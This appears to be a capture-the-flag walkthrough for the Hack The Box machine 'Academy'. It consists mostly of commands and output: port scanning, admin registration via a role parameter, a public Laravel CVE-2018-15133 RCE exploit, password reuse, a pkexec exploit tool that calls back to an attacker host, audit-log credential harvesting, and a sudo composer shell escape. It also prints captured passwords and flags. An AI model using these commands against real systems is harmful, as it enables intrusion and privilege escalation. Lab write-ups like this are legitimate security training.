Information Gathering

$ sudo masscan -p1-65535,U:1-65535 10.10.10.215 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports
$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
$ nmap -Pn -sV -sC -p$ports 10.10.10.215

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
|   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_  256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://academy.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94SVN%I=7%D=1/26%Time=67962C32%P=x86_64-pc-linux-gnu%
SF:r(NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x
SF:0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTT
SF:POptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSV
SF:ersionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTC
SF:P,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\
SF:0")%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\
SF:x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCoo
SF:kie,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20messag
SF:e\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNe
SF:g,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05
SF:HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDStri
SF:ng,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message
SF:\"\x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOpti
SF:ons,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05
SF:\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY
SF:000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\
SF:0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"
SF:)%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message
SF:\"\x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Laravel Framework

# echo '10.10.10.215 academy.htb'>>/etc/hosts

$ dirsearch -u academy.htb

uid=adm&password=adm&confirm=adm&roleid=1

http://academy.htb/admin.php

username:adm
password:adm

# echo '10.10.10.215 dev-staging-01.academy.htb'>>/etc/hosts

$ whatweb http://dev-staging-01.academy.htb/ -v

j.boggiano@seld.be,stof@notk.org

$ git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
$ cd exploit_laravel_cve-2018-15133/
$ pip3 install -r requirements.txt
$ python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive

www-data to cry0l1t3

$ su cry0l1t3

password:mySup3rP4s5w0rd!!

User.txt

681bcfc1ee52a4e797c0fb16e81a9af4

Privilege Escalation

TRP00F

https://github.com/MartinxMax/trp00f

$ python3 trp00f.py --lhost 10.10.16.16 --lport 10022 --rhost 10.10.16.16 --rport 443 --http 1111 --password 'mySup3rP4s5w0rd!!'

[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y

audit

cry0l1t3 to mrb3n

$ aureport --tty

password:mrb3n_Ac@d3my!

PE

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x

Root.txt

f44c2b56ff571a21b8e1fa983be91be3